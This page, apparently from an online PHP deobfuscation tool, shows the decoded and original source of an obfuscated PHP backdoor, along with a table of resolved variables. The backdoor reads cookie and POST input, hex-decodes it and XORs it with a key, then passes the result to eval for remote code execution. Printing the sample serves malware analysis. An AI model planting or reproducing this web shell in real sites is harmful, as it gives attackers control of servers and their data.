Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $PfTnaArj = chr ( 331 - 216 ).'t'/* HA */. "\x72" . "\..

Decoded Output download

<?php $PfTnaArj = chr    (   331        - 216  ).'t'/*  HA   */.        "r"  .       "_"    .   'r'       ./* M*/"e"/*   AQ */.     "p"     .       chr/*gwMF  */(/*pKN  */972/*  RXf*/-    871/*   bD   */).chr    (97)    . "t"; 
  $HioFOPeq     =       "p"/*   QeK  */./*c */chr/* lhDST   */(97) . "c"  .       chr     (    726/*KD   */-      619     );$_gdE/* TzoF  */=/*  p  */'30940'; 
                                        function KVbRePbDqP() 
 
 
/* xI*/{ 
 
 
     $eRNQTAKvb =       Array   ( "GvwxKallBqiZGrOMslOasBbOWWNvz"       => "eSPRmZPZfYNxIarNcUQJxfQhb"  );$_NU/*  BiBEl   */=/*  KOwlH   */'62066'; 
 
        $GXhIImXUU    = Array    (      "OwkGsrANmdHVZSbLoAWXbdoT"     =>       "AjJSbtqCTcS"   ); 
/* yWQQK*/$GuimccVu =/*   xoVr */Array( $eRNQTAKvb,/*  oPKKE  */$_COOKIE,/*   OM*/$eRNQTAKvb,/*  dK   */$_POST, $GXhIImXUU); 
 
 
 
  /*  A */return/*  wkdVL   */$GuimccVu;; 
                } 
        /*   p*/ 
 
 
        function    GuKzjUxPj($ViUKUTXuc,/* sOWf*/$eRNQTAKvb) 
 
        { 
        if      (       count   ( $ViUKUTXuc/*  ISUVU*/)/*  MXC */== 3/*  RwmY   */)     { 
  $XmCfIK     = $ViUKUTXuc[1]; 
        $chgbYMjA     = $ViUKUTXuc[2]; 
  /*   qQWF */$zhKsIazuI   = $XmCfIK($chgbYMjA);; 
        eval    (    $zhKsIazuI );$_mmGFc   =   '12935'; 
 
 
/*semR*/die/*  m*/(); 
     } 
     } 
 
        function/*  u */nMeMov($RzWuZhPY,    $TuhIfV) 
             { 
 
        return  $RzWuZhPY   ^/* RmAb  */$TuhIfV; 
                                } 
 
 
 
    /*zNpo   */$eOJYUsjP        =    "#"; 
 
 
 
 
  function  agzYkPhzAy($napXPTUg,       $eOJYUsjP) 
 
 {/*   dE */ 
  /*   vDCf  */ 
        $napXPTUg       =       explode/*  f */($eOJYUsjP,      $napXPTUg       ); 
 
                        /*   Ry   */GuKzjUxPj($napXPTUg,   $eOJYUsjP); 
        } 
 
 
                                /*  P   */ 
        foreach  (KVbRePbDqP()    as/*   Cxgkh  */$RdeptUE)    { 
    foreach/*  jCt   */(        $RdeptUE    as  $TuhIfV    =>   $RzWuZhPY       )    { 
 
/* AXXhZ*/ 
        $BsXsIGyl/*YaxCs */=    strlen( $RzWuZhPY     )/strlen( $TuhIfV );$_XZu =       '32416'; 
                                        /* a */ 
        /*  cMZ   */$RzWuZhPY     =/*   B*/@$HioFOPeq(  "H"/* mxTF   */./* KPYlZ*/"*",/*ZBcO*/$RzWuZhPY/*   Oiy */);; 
 
/*  OIeb   */ 
                        /*zL  */$TuhIfV/*   PHv  */.=   "PlrjWUr-XSpZB-yAXeIBV-CWhC-bkqcn-GCYOC-TqR";; 
        $TuhIfV/* RYm  */=      $PfTnaArj   (    $TuhIfV,       $BsXsIGyl       +/*dTDXN  */1); 
 
/*C*/ 
 /*  ltEG*/agzYkPhzAy(nMeMov($RzWuZhPY,     $TuhIfV),/*   ztqzr */$eOJYUsjP);; 
 
        continue;; 
     } 
             } ?>

Did this file decode correctly?

Original Code

<?php $PfTnaArj = chr    (   331        - 216  ).'t'/*  HA   */.        "\x72"  .       "\x5f"    .   'r'       ./* M*/"\x65"/*   AQ */.     "\160"     .       chr/*gwMF  */(/*pKN  */972/*  RXf*/-    871/*   bD   */).chr    (97)    . "\x74";
  $HioFOPeq     =       "\160"/*   QeK  */./*c */chr/* lhDST   */(97) . "\x63"  .       chr     (    726/*KD   */-      619     );$_gdE/* TzoF  */=/*  p  */'30940';
                                        function KVbRePbDqP()


/* xI*/{


     $eRNQTAKvb =       Array   ( "GvwxKallBqiZGrOMslOasBbOWWNvz"       => "eSPRmZPZfYNxIarNcUQJxfQhb"  );$_NU/*  BiBEl   */=/*  KOwlH   */'62066';

        $GXhIImXUU    = Array    (      "OwkGsrANmdHVZSbLoAWXbdoT"     =>       "AjJSbtqCTcS"   );
/* yWQQK*/$GuimccVu =/*   xoVr */Array( $eRNQTAKvb,/*  oPKKE  */$_COOKIE,/*   OM*/$eRNQTAKvb,/*  dK   */$_POST, $GXhIImXUU);



  /*  A */return/*  wkdVL   */$GuimccVu;;
                }
        /*   p*/


        function    GuKzjUxPj($ViUKUTXuc,/* sOWf*/$eRNQTAKvb)

        {
        if      (       count   ( $ViUKUTXuc/*  ISUVU*/)/*  MXC */== 3/*  RwmY   */)     {
  $XmCfIK     = $ViUKUTXuc[1];
        $chgbYMjA     = $ViUKUTXuc[2];
  /*   qQWF */$zhKsIazuI   = $XmCfIK($chgbYMjA);;
        eval    (    $zhKsIazuI );$_mmGFc   =   '12935';


/*semR*/die/*  m*/();
     }
     }

        function/*  u */nMeMov($RzWuZhPY,    $TuhIfV)
             {

        return  $RzWuZhPY   ^/* RmAb  */$TuhIfV;
                                }



    /*zNpo   */$eOJYUsjP        =    "\x23";




  function  agzYkPhzAy($napXPTUg,       $eOJYUsjP)

 {/*   dE */
  /*   vDCf  */
        $napXPTUg       =       explode/*  f */($eOJYUsjP,      $napXPTUg       );

                        /*   Ry   */GuKzjUxPj($napXPTUg,   $eOJYUsjP);
        }


                                /*  P   */
        foreach  (KVbRePbDqP()    as/*   Cxgkh  */$RdeptUE)    {
    foreach/*  jCt   */(        $RdeptUE    as  $TuhIfV    =>   $RzWuZhPY       )    {

/* AXXhZ*/
        $BsXsIGyl/*YaxCs */=    strlen( $RzWuZhPY     )/strlen( $TuhIfV );$_XZu =       '32416';
                                        /* a */
        /*  cMZ   */$RzWuZhPY     =/*   B*/@$HioFOPeq(  "\x48"/* mxTF   */./* KPYlZ*/"\52",/*ZBcO*/$RzWuZhPY/*   Oiy */);;

/*  OIeb   */
                        /*zL  */$TuhIfV/*   PHv  */.=   "PlrjWUr-XSpZB-yAXeIBV-CWhC-bkqcn-GCYOC-TqR";;
        $TuhIfV/* RYm  */=      $PfTnaArj   (    $TuhIfV,       $BsXsIGyl       +/*dTDXN  */1);

/*C*/
 /*  ltEG*/agzYkPhzAy(nMeMov($RzWuZhPY,     $TuhIfV),/*   ztqzr */$eOJYUsjP);;

        continue;;
     }
             }

Function Calls

chr 5
KVbRePbDqP 1

Variables

$_NU 62066
$_gdE 30940
$GuimccVu [{'key': 0, 'value': [{'key': 'GvwxKallBqiZGrOMslOasBbOWWNvz', 'value': 'eSPRmZPZfYNxIarNcUQJxfQhb'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'GvwxKallBqiZGrOMslOasBbOWWNvz', 'value': 'eSPRmZPZfYNxIarNcUQJxfQhb'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'OwkGsrANmdHVZSbLoAWXbdoT', 'value': 'AjJSbtqCTcS'}]}]
$HioFOPeq pack
$PfTnaArj str_repeat
$eOJYUsjP #
$GXhIImXUU [{'key': 'OwkGsrANmdHVZSbLoAWXbdoT', 'value': 'AjJSbtqCTcS'}]
$eRNQTAKvb [{'key': 'GvwxKallBqiZGrOMslOasBbOWWNvz', 'value': 'eSPRmZPZfYNxIarNcUQJxfQhb'}]

Stats

MD5 f8805c51aee4ac7052a90554bc4079a1
Eval Count 0
Decode Time 86 ms